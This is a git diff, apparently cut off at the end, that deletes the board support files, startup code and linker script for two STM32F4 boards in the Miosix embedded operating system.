a/miosix/arch/cortexM4_stm32f4/stm32f407vg_thermal_test_chip/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM4_stm32f4/stm32f407vg_thermal_test_chip/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index b70c2277a..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f407vg_thermal_test_chip/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,13 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -//Always include stm32f4xx.h before core_cm4.h, there's some nasty dependency -#define STM32F407xx -#include "CMSIS/Device/ST/STM32F4xx/Include/stm32f4xx.h" -#include "CMSIS/Include/core_cm4.h" -#include "CMSIS/Device/ST/STM32F4xx/Include/system_stm32f4xx.h" - -#define RCC_SYNC() //Workaround for a bug in stm32f42x - -#endif //ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f407vg_thermal_test_chip/interfaces-impl/bsp.cpp b/miosix/arch/cortexM4_stm32f4/stm32f407vg_thermal_test_chip/interfaces-impl/bsp.cpp deleted file mode 100644 index 6015c0f78..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f407vg_thermal_test_chip/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,111 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012, 2013, 2014 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/sd_stm32f2_f4_f7.h" -#include "board_settings.h" - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all gpios - RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | - RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | - RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOHEN; - RCC_SYNC(); - GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS - GPIOB->OSPEEDR=0xaaaaaaaa; - GPIOC->OSPEEDR=0xaaaaaaaa; - GPIOD->OSPEEDR=0xaaaaaaaa; - GPIOE->OSPEEDR=0xaaaaaaaa; - GPIOH->OSPEEDR=0xaaaaaaaa; - _led::mode(Mode::OUTPUT); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); -} - -void bspInit2() -{ - #ifdef WITH_FILESYSTEM - #ifdef AUX_SERIAL - intrusive_ref_ptr devFs=basicFilesystemSetup(SDIODriver::instance()); - devFs->addDevice(AUX_SERIAL, - intrusive_ref_ptr(new STM32Serial(auxSerial,auxSerialSpeed, - auxSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); - #else //AUX_SERIAL - basicFilesystemSetup(SDIODriver::instance()); - #endif //AUX_SERIAL - #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -void shutdown() -{ - //No shutdown support for this board - reboot(); -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM4_stm32f4/stm32f407vg_thermal_test_chip/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM4_stm32f4/stm32f407vg_thermal_test_chip/interfaces-impl/bsp_impl.h deleted file mode 100644 index 5f01a6845..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f407vg_thermal_test_chip/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,89 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" -#include "drivers/stm32_hardware_rng.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * used by the ledOn() and ledOff() implementation - */ -typedef Gpio _led; - -inline void ledOn() -{ - _led::high(); -} - -inline void ledOff() -{ - _led::low(); -} - -/** - * Polls the SD card sense GPIO. - * - * This board has no SD card whatsoever, but a card can be connected to the - * following GPIOs: - * D0 : PC8 - * D1 : PC9 - * D2 : PC10 (conflicts with CS43L22 SCK) - * D3 : PC11 - * CLK : PC12 (conflicts with CS43L22 SDIN) - * CMD : PD2 - * - * The conflicts mean that it's not possible to use both the SD card and - * the audio playback feature on this board. - * - * \return true. As there's no SD card sense switch, let's pretend that - * the card is present. - */ -inline bool sdCardSense() { return true; } - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f407vg_thermal_test_chip/stm32_1m+192k_rom.ld b/miosix/arch/cortexM4_stm32f4/stm32f407vg_thermal_test_chip/stm32_1m+192k_rom.ld deleted file mode 100644 index 179737e3d..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f407vg_thermal_test_chip/stm32_1m+192k_rom.ld +++ /dev/null @@ -1,160 +0,0 @@ -/* - * C++ enabled linker script for stm32 (1M FLASH, 192K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap into the large 128KB RAM */ -_heap_end = 0x20020000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M - /*smallram not used here, left for logging buffers at the application level*/ - smallram(wx) : ORIGIN = 0x10000000, LENGTH = 64K - largeram(wx) : ORIGIN = 0x20000200, LENGTH = 128K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > largeram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > largeram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM4_stm32f4/stm32f411ce_blackpill/core/stage_1_boot.cpp b/miosix/arch/cortexM4_stm32f4/stm32f411ce_blackpill/core/stage_1_boot.cpp deleted file mode 100644 index 1c6ea2b3d..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f411ce_blackpill/core/stage_1_boot.cpp +++ /dev/null @@ -1,334 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32f411 devices ONLY. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //SystemInit() is called *before* initializing .data and zeroing .bss - //Despite all startup files provided by ST do the opposite, there are three - //good reasons to do so: - //First, the CMSIS specifications say that SystemInit() must not access - //global variables, so it is actually possible to call it before - //Second, when running Miosix with the xram linker scripts .data and .bss - //are placed in the external RAM, so we *must* call SystemInit(), which - //enables xram, before touching .data and .bss - //Third, this is a performance improvement since the loops that initialize - //.data and zeros .bss now run with the CPU at full speed instead of 8MHz - SystemInit(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMP_STAMP_IRQHandler(); -void __attribute__((weak)) RTC_WKUP_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream0_IRQHandler(); -void __attribute__((weak)) DMA1_Stream1_IRQHandler(); -void __attribute__((weak)) DMA1_Stream2_IRQHandler(); -void __attribute__((weak)) DMA1_Stream3_IRQHandler(); -void __attribute__((weak)) DMA1_Stream4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream5_IRQHandler(); -void __attribute__((weak)) DMA1_Stream6_IRQHandler(); -void __attribute__((weak)) ADC_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_TIM9_IRQHandler(); -void __attribute__((weak)) TIM1_UP_TIM10_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_TIM11_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) OTG_FS_WKUP_IRQHandler(); -void __attribute__((weak)) DMA1_Stream7_IRQHandler(); -void __attribute__((weak)) SDIO_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) DMA2_Stream0_IRQHandler(); -void __attribute__((weak)) DMA2_Stream1_IRQHandler(); -void __attribute__((weak)) DMA2_Stream2_IRQHandler(); -void __attribute__((weak)) DMA2_Stream3_IRQHandler(); -void __attribute__((weak)) DMA2_Stream4_IRQHandler(); -void __attribute__((weak)) OTG_FS_IRQHandler(); -void __attribute__((weak)) DMA2_Stream5_IRQHandler(); -void __attribute__((weak)) DMA2_Stream6_IRQHandler(); -void __attribute__((weak)) DMA2_Stream7_IRQHandler(); -void __attribute__((weak)) USART6_IRQHandler(); -void __attribute__((weak)) I2C3_EV_IRQHandler(); -void __attribute__((weak)) I2C3_ER_IRQHandler(); -void __attribute__((weak)) FPU_IRQHandler(); -void __attribute__((weak)) SPI4_IRQHandler(); -void __attribute__((weak)) SPI5_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMP_STAMP_IRQHandler, - RTC_WKUP_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Stream0_IRQHandler, - DMA1_Stream1_IRQHandler, - DMA1_Stream2_IRQHandler, - DMA1_Stream3_IRQHandler, - DMA1_Stream4_IRQHandler, - DMA1_Stream5_IRQHandler, - DMA1_Stream6_IRQHandler, - ADC_IRQHandler, - 0, - 0, - 0, - 0, - EXTI9_5_IRQHandler, - TIM1_BRK_TIM9_IRQHandler, - TIM1_UP_TIM10_IRQHandler, - TIM1_TRG_COM_TIM11_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - 0, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - OTG_FS_WKUP_IRQHandler, - 0, - 0, - 0, - 0, - DMA1_Stream7_IRQHandler, - 0, - SDIO_IRQHandler, - TIM5_IRQHandler, - SPI3_IRQHandler, - 0, - 0, - 0, - 0, - DMA2_Stream0_IRQHandler, - DMA2_Stream1_IRQHandler, - DMA2_Stream2_IRQHandler, - DMA2_Stream3_IRQHandler, - DMA2_Stream4_IRQHandler, - 0, - 0, - 0, - 0, - 0, - 0, - OTG_FS_IRQHandler, - DMA2_Stream5_IRQHandler, - DMA2_Stream6_IRQHandler, - DMA2_Stream7_IRQHandler, - USART6_IRQHandler, - I2C3_EV_IRQHandler, - I2C3_ER_IRQHandler, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - FPU_IRQHandler, - 0, - 0, - SPI4_IRQHandler, - SPI5_IRQHandler, -}; - -#pragma weak SysTick_IRQHandler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMP_STAMP_IRQHandler = Default_Handler -#pragma weak RTC_WKUP_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream0_IRQHandler = Default_Handler -#pragma weak DMA1_Stream1_IRQHandler = Default_Handler -#pragma weak DMA1_Stream2_IRQHandler = Default_Handler -#pragma weak DMA1_Stream3_IRQHandler = Default_Handler -#pragma weak DMA1_Stream4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream5_IRQHandler = Default_Handler -#pragma weak DMA1_Stream6_IRQHandler = Default_Handler -#pragma weak ADC_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_TIM9_IRQHandler = Default_Handler -#pragma weak TIM1_UP_TIM10_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_TIM11_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak OTG_FS_WKUP_IRQHandler = Default_Handler -#pragma weak DMA1_Stream7_IRQHandler = Default_Handler -#pragma weak SDIO_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak DMA2_Stream0_IRQHandler = Default_Handler -#pragma weak DMA2_Stream1_IRQHandler = Default_Handler -#pragma weak DMA2_Stream2_IRQHandler = Default_Handler -#pragma weak DMA2_Stream3_IRQHandler = Default_Handler -#pragma weak DMA2_Stream4_IRQHandler = Default_Handler -#pragma weak OTG_FS_IRQHandler = Default_Handler -#pragma weak DMA2_Stream5_IRQHandler = Default_Handler -#pragma weak DMA2_Stream6_IRQHandler = Default_Handler -#pragma weak DMA2_Stream7_IRQHandler = Default_Handler -#pragma weak USART6_IRQHandler = Default_Handler -#pragma weak I2C3_EV_IRQHandler = Default_Handler -#pragma weak I2C3_ER_IRQHandler = Default_Handler -#pragma weak FPU_IRQHandler = Default_Handler -#pragma weak SPI4_IRQHandler = Default_Handler -#pragma weak SPI5_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM4_stm32f4/stm32f411ce_blackpill/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM4_stm32f4/stm32f411ce_blackpill/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index 93a23bff5..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f411ce_blackpill/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,13 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -//Always include stm32f4xx.h before core_cm4.h, there's some nasty dependency -#define STM32F411xE -#include "CMSIS/Device/ST/STM32F4xx/Include/stm32f4xx.h" -#include "CMSIS/Include/core_cm4.h" -#include "CMSIS/Device/ST/STM32F4xx/Include/system_stm32f4xx.h" - -#define RCC_SYNC() //Workaround for a bug in stm32f42x - -#endif //ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f411ce_blackpill/interfaces-impl/bsp.cpp b/miosix/arch/cortexM4_stm32f4/stm32f411ce_blackpill/interfaces-impl/bsp.cpp deleted file mode 100644 index d5ceb6715..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f411ce_blackpill/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,139 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/sd_stm32f2_f4_f7.h" -#include "board_settings.h" - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all gpios - RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | - RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | - RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOHEN; - RCC_SYNC(); - GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS - GPIOB->OSPEEDR=0xaaaaaaaa; - GPIOC->OSPEEDR=0xaaaaaaaa; - GPIOD->OSPEEDR=0xaaaaaaaa; - GPIOE->OSPEEDR=0xaaaaaaaa; - GPIOH->OSPEEDR=0xaaaaaaaa; - _led::mode(Mode::OUTPUT); - ledOn(); - delayMs(100); - ledOff(); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); -} - -void bspInit2() -{ - #ifdef WITH_FILESYSTEM - basicFilesystemSetup(SDIODriver::instance()); - #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -/** -This function disables filesystem (if enabled), serial port (if enabled) and -puts the processor in deep sleep mode.
-Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. -
This function does not return.
-WARNING: close all files before using this function, since it unmounts the -filesystem.
-When in shutdown mode, power consumption of the miosix board is reduced to ~ -5uA??, however, true power consumption depends on what is connected to the GPIO -pins. The user is responsible to put the devices connected to the GPIO pin in the -minimal power consumption mode before calling shutdown(). Please note that to -minimize power consumption all unused GPIO must not be left floating. -*/ -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - - /* - Removed because low power mode causes issues with SWD programming - RCC->APB1ENR |= RCC_APB1ENR_PWREN; //Fuckin' clock gating... - RCC_SYNC(); - PWR->CR |= PWR_CR_PDDS; //Select standby mode - PWR->CR |= PWR_CR_CWUF; - PWR->CSR |= PWR_CSR_EWUP; //Enable PA.0 as wakeup source - - SCB->SCR |= SCB_SCR_SLEEPDEEP; - __WFE(); - NVIC_SystemReset(); - */ - for(;;) ; -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM4_stm32f4/stm32f411ce_blackpill/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM4_stm32f4/stm32f411ce_blackpill/interfaces-impl/bsp_impl.h deleted file mode 100644 index 98233ea20..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f411ce_blackpill/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,80 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of 